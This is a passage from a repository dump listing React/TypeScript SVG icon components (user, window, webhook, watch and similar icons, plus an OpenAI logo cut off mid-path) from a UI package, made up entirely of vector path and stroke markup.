d=\"M10.946,13.598c-.811-2.152-2.899-3.598-5.196-3.598S1.365,11.446,.554,13.598c-.162,.429-.141,.896,.059,1.316,.206,.432,.585,.767,1.041,.919,1.325,.442,2.704,.667,4.096,.667s2.771-.225,4.096-.667c.456-.152,.834-.487,1.041-.919,.2-.42,.221-.888,.059-1.316Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/users-settings.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function UsersSettings(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"7\"\n          cy=\"4.75\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"14\"\n          cy=\"13.25\"\n          fill=\"none\"\n          r=\"1.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.233,6.86c.24,.087,.497,.14,.767,.14,1.243,0,2.25-1.007,2.25-2.25s-1.007-2.25-2.25-2.25c-.27,0-.527,.052-.767,.14\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.385,10.052c-.722-.349-1.528-.552-2.385-.552-2.145,0-4,1.229-4.906,3.02-.4,.791,.028,1.757,.866,2.048,1.031,.358,2.408,.683,4.04,.683,.749,0,1.437-.074,2.069-.182\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14\"\n          x2=\"14\"\n          y1=\"10\"\n          y2=\"11.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.298\"\n          x2=\"15.414\"\n          y1=\"10.952\"\n          y2=\"11.836\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"17.25\"\n          x2=\"16\"\n          y1=\"13.25\"\n          y2=\"13.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"16.298\"\n          x2=\"15.414\"\n          y1=\"15.548\"\n          y2=\"14.664\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14\"\n          x2=\"14\"\n          y1=\"16.5\"\n          y2=\"15.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.702\"\n          x2=\"12.586\"\n          y1=\"15.548\"\n          y2=\"14.664\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"10.75\"\n          x2=\"12\"\n          y1=\"13.25\"\n          y2=\"13.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.702\"\n          x2=\"12.586\"\n          y1=\"10.952\"\n          y2=\"11.836\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/users.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Users(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"5.75\"\n          cy=\"6.25\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"12\"\n          cy=\"3.75\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.609,15.122c.523-.175,.83-.744,.636-1.259-.685-1.818-2.436-3.112-4.494-3.112s-3.809,1.294-4.494,3.112c-.194,.516,.113,1.085,.636,1.259,.962,.321,2.281,.628,3.859,.628s2.897-.307,3.858-.628Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M12.749,13.227c1.248-.077,2.304-.336,3.109-.605,.523-.175,.83-.744,.636-1.259-.685-1.818-2.436-3.112-4.494-3.112-.977,0-1.885,.292-2.643,.793\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/users2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Users2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M11.04,14.817c.837-.291,1.266-1.257,.866-2.048-.906-1.791-2.761-3.02-4.906-3.02s-4,1.228-4.906,3.02c-.4,.791,.028,1.757,.866,2.048,1.031,.358,2.408,.683,4.04,.683s3.009-.325,4.04-.683Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M14.53,13.555c.594-.115,1.119-.269,1.566-.428,.702-.25,1.01-1.077,.675-1.743-.786-1.563-2.402-2.635-4.271-2.635-.255,0-.505,.02-.748,.058\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.953,6.167c.177,.045,.356,.083,.547,.083,1.243,0,2.25-1.007,2.25-2.25s-1.007-2.25-2.25-2.25c-.334,0-.647,.082-.933,.213\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"7\"\n          cy=\"4.5\"\n          fill=\"none\"\n          r=\"2.75\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/users6.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Users6(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"7\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"13.75\"\n          cy=\"3.25\"\n          fill=\"none\"\n          r=\"1.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"4.25\"\n          cy=\"3.25\"\n          fill=\"none\"\n          r=\"1.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.801,15.776c-.489-.148-.818-.635-.709-1.135,.393-1.797,1.993-3.142,3.908-3.142s3.515,1.345,3.908,3.142c.109,.499-.219,.987-.709,1.135-.821,.248-1.911,.474-3.199,.474s-2.378-.225-3.199-.474Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.584,7.248c.055-.002,.11-.004,.166-.004,1.673,0,3.079,1.147,3.473,2.697,.13,.511-.211,1.02-.718,1.167-.643,.186-1.457,.352-2.403,.385\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M4.416,7.248c-.055-.002-.11-.004-.166-.004-1.673,0-3.079,1.147-3.473,2.697-.13,.511,.211,1.02,.718,1.167,.643,.186,1.457,.352,2.403,.385\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/versions2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Versions2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M5.25,11.25h-1.5c-1.105,0-2-.895-2-2V3.75c0-1.105,.895-2,2-2h3.5c1.105,0,2,.895,2,2v.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M8.75,13.75h-1.5c-1.105,0-2-.895-2-2V6.25c0-1.105,.895-2,2-2h3.5c1.105,0,2,.895,2,2v.5\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <rect\n          height=\"9.5\"\n          width=\"7.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(25 23) rotate(180)\"\n          x=\"8.75\"\n          y=\"6.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/views.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Views(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"10.5\"\n          width=\"13.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"2.25\"\n          y=\"2.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4.75\"\n          x2=\"13.25\"\n          y1=\"16.25\"\n          y2=\"16.25\"\n        />\n        <path\n          d=\"M12.691,7.108c-.54-.694-1.736-1.858-3.691-1.858s-3.151,1.164-3.691,1.859c-.413,.533-.413,1.249,0,1.782,0,0,0,0,0,0,.54,.694,1.736,1.858,3.691,1.858s3.151-1.164,3.691-1.859c.413-.533,.413-1.249,0-1.783Zm-3.691,2.392c-.828,0-1.5-.672-1.5-1.5s.672-1.5,1.5-1.5,1.5,.672,1.5,1.5-.672,1.5-1.5,1.5Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/watch.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Watch(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"9.5\"\n          width=\"10.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x=\"3.75\"\n          y=\"4.25\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12\"\n          x2=\"6\"\n          y1=\"1.75\"\n          y2=\"1.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"12\"\n          x2=\"6\"\n          y1=\"16.25\"\n          y2=\"16.25\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"9 6.75 9 9 11.25 10.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/webhook.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Webhook(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M3.804,13.278l3.721-6.444c-.91-.515-1.524-1.492-1.524-2.613,0-1.657,1.343-3,3-3s3,1.343,3,3c0,.08-.003,.159-.009,.237\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M14.246,13.25H6.805c.009,1.046-.53,2.065-1.5,2.626-1.435,.828-3.27,.337-4.098-1.098s-.337-3.27,1.098-4.098c.069-.04,.139-.077,.21-.11\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9,4.222l3.72,6.444c.901-.531,2.054-.574,3.025-.014,1.435,.828,1.927,2.663,1.098,4.098s-2.663,1.927-4.098,1.098c-.069-.04-.136-.082-.2-.126\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"3.804\"\n          cy=\"13.278\"\n          fill=\"currentColor\"\n          r=\"1.25\"\n          stroke=\"none\"\n        />\n        <circle cx=\"9\" cy=\"4.222\" fill=\"currentColor\" r=\"1.25\" stroke=\"none\" />\n        <circle\n          cx=\"14.248\"\n          cy=\"13.252\"\n          fill=\"currentColor\"\n          r=\"1.25\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/window-search.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function WindowSearch(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle cx=\"4.25\" cy=\"5.25\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle cx=\"6.75\" cy=\"5.25\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"14\"\n          cy=\"14\"\n          fill=\"none\"\n          r=\"2.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"7.75\"\n          y2=\"7.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"15.59\"\n          x2=\"17.25\"\n          y1=\"15.59\"\n          y2=\"17.25\"\n        />\n        <path\n          d=\"M16.25,9.784V4.75c0-1.104-.895-2-2-2H3.75c-1.105,0-2,.896-2,2V13.25c0,1.104,.895,2,2,2h5.653\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/window-settings.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function WindowSettings(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <path\n          d=\"M4.25 6C4.66421 6 5 5.66421 5 5.25C5 4.83579 4.66421 4.5 4.25 4.5C3.83579 4.5 3.5 4.83579 3.5 5.25C3.5 5.66421 3.83579 6 4.25 6Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M6.75 6C7.16421 6 7.5 5.66421 7.5 5.25C7.5 4.83579 7.16421 4.5 6.75 4.5C6.33579 4.5 6 4.83579 6 5.25C6 5.66421 6.33579 6 6.75 6Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M1.75 7.75H16.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.25 8.984V4.75C16.25 3.646 15.355 2.75 14.25 2.75H3.75C2.645 2.75 1.75 3.646 1.75 4.75V13.25C1.75 14.354 2.645 15.25 3.75 15.25H8.512\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.75 10.5V11.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.048 11.452L15.164 12.336\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M17 13.75H15.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M16.048 16.0479L15.164 15.1639\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.75 17V15.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.452 16.0479L12.336 15.1639\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M10.5 13.75H11.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M11.452 11.452L12.336 12.336\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M13.75 15.5C14.7165 15.5 15.5 14.7165 15.5 13.75C15.5 12.7835 14.7165 12 13.75 12C12.7835 12 12 12.7835 12 13.75C12 14.7165 12.7835 15.5 13.75 15.5Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/window.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Window(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <rect\n          height=\"12.5\"\n          width=\"14.5\"\n          fill=\"none\"\n          rx=\"2\"\n          ry=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          transform=\"translate(18 18) rotate(180)\"\n          x=\"1.75\"\n          y=\"2.75\"\n        />\n        <circle cx=\"4.25\" cy=\"5.25\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle cx=\"6.75\" cy=\"5.25\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"1.75\"\n          x2=\"16.25\"\n          y1=\"7.75\"\n          y2=\"7.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/workflow.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Workflow(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"m8.25,4.75c1.1046,0,2,.8954,2,2v4.5c0,1.1046.8954,2,2,2h3.75\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"3.75\"\n          cy=\"4.75\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"13.5 10.5 16.25 13.25 13.5 16\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/xmark.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Xmark(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"14\"\n          x2=\"4\"\n          y1=\"4\"\n          y2=\"14\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"4\"\n          x2=\"14\"\n          y1=\"4\"\n          y2=\"14\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/openai.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function OpenAI({ className, ...props }: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      className={className}\n      width=\"180\"\n      height=\"180\"\n      viewBox=\"0 0 180 180\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M101.228 164.25C96.2777 164.25 91.5752 163.31 87.1202 161.429C82.6652 159.548 78.7052 156.924 75.2402 153.558C71.4782 154.845 67.5677 155.489 63.5087 155.489C56.8757 155.489 50.7377 153.855 45.0947 150.588C39.4517 147.321 34.8977 142.866 31.4327 137.223C28.0667 131.58 26.3837 125.293 26.3837 118.363C26.3837 115.492 26.7797 112.374 27.5717 109.008C23.6117 105.345 20.5427 101.138 18.3647 96.3855C16.1867 91.5345 15.0977 86.4855 15.0977 81.2385C15.0977 75.8925 16.2362 70.7445 18.5132 65.7945C20.7902 60.8445 23.9582 56.5875 28.0172 53.0235C32.1752 49.3605 36.9767 46.836 42.4217 45.45C43.5107 39.807 45.7877 34.758 49.2527 30.303C52.8167 25.749 57.1727 22.185 62.3207 19.611C67.4687 17.037 72.9632 15.75 78.8042 15.75C83.7542 15.75 88.4567 16.6905 92.9117 18.5715C97.3667 20.4525 101.327 23.076 104.792 26.442C108.554 25.155 112.464 24.5115 116.523 24.5115C123.156 24.5115 129.294 26.145 134.937 29.412C140.58 32.679 145.085 37.134 148.451 42.777C151.916 48.42 153.648 54.7065 153.648 61.6365C153.648 64.5075 153.252 67.626 152.46 70.992C156.42 74.655 159.489 78.912 161.667 83.763C163.845 88.515 164.934 93.5145 164.934 98.7615C164.934 104.108 163.796 109.255 161.519 114.205C159.242 119.155 156.024 123.462 151.866 127.125C147.807 130.689 143.055 133.164 137.61 134.55C136.521 140.193 134.195 145.242 130.631 149.697C127.166 154.251 122.859 157.815 117.711 160.389C112.563 162.963 107.069 164.25 101.228 164.25ZM64.5482 145.688C69.4982 145.688 73.8047 144.648 77.4677 142.569L105.386 126.531C106.376 125.838 106.871 124.897 106.871 123.709V110.938L70.9337 131.58C68.7557 132.867 66.5777 132.867 64.3997 131.58L36.3332 115.393C36.3332 115.69 36.2837 116.037 36.1847 116.433C36.1847 116.829 36.1847 117.423 36.1847 118.215C36.1847 123.264 37.3727 127.917 39.7487 132.174C42.2237 136.332 45.6392 139.599 49.9952 141.975C54.3512 144.45 59.2022 145.688 64.5482 145.688ZM66.0332 121.482C66.6272 121.779 67.1717 121.927 67.6667 121.927C68.1617 121.927 68.6567 121.779 69.1517 121.482L80.2892 115.096L44.5007 94.3065C42.3227 93.0195 41.2337 91.089 41.2337 88.515V56.2905C36.2837 58.4685 32.3237 61.8345 29.3537 66.3885C26.3837 70.8435 24.8987 75.7935 24.8987 81.2385C24.8987 86.0895 26.1362 90.7425 28.6112 95.1975C31.0862 99.6525 34.3037 103.019 38.2637 105.296L66.0332 121.482ZM101.228 154.449C106.475 154.449 111.227 153.261 115.484 150.885C119.741 148.509 123.107 145.242 125.582 141.084C128.057 136.926 129.294 132.273 129.294 127.125V95.049C129.294 93.861 128.799 92.97 127.809 92.376L116.523 85.842V127.274C116.523 129.848 115.434 131.778 113.256 133.065L85.1897 149.251C90.0407 152.716 95.3867 154.449 101.228 154.449ZM106.871 100.098V79.902L90.0902 70.398L73.1612 79.902V100.098L90.0902 109.602L106.871 100.098ZM63.5087 52.7265C63.5087 50.1525 64.5977 48.222 66.7757 46.935L94.8422 30.7485C89.9912 27.2835 84.6452 25.551 78.8042 25.551C73.5572 25.551 68.8052 26.739 64.5482 29.115C60.2912 31.491 56.9252 34.758 54.4502 38.916C52.0742 43.074 50.8862 47.727 50.8862 52.875V84.8025C50.8862 85.9905 51.3812 86.931 52.3712 87.624L63.5087 94.158V52.7265ZM138.947 123.709C143.897 121.531 147.807 118.165 150.678 113.611C153.648 109.057 155.133 104.108 155.133 98.7615C155.133 93.9105 153.896 89.2575 151.421 84.8025C148.946 80.3475 145.728 76.9815 141.768 74.7045L113.999 58.6665C113.405 58.2705 112.86 58.122 112.365 58.221C111.87 58.221 111.375 58.3695 110.88 58.6665L99.7427 64.9035L135.68 85.842C136.769 86.436 137.561 87.228 138.056 88.218C138.65 89.109 138.947 90.198 138.947 91.485V123.709ZM109.098 48.2715C111.276 46.8855 113.454 46.8855 115.632 48.2715L143.847 64.755C143.847 64.062 143.847 63.171 143.847 62.082C143.847 57.33 142.659 52.8255 140.283 48.5685C138.006 44.2125 134.69 40.7475 130.334 38.1735C126.077 35.5995 121.127 34.3125 115.484 34.3125C110.534 34.3125 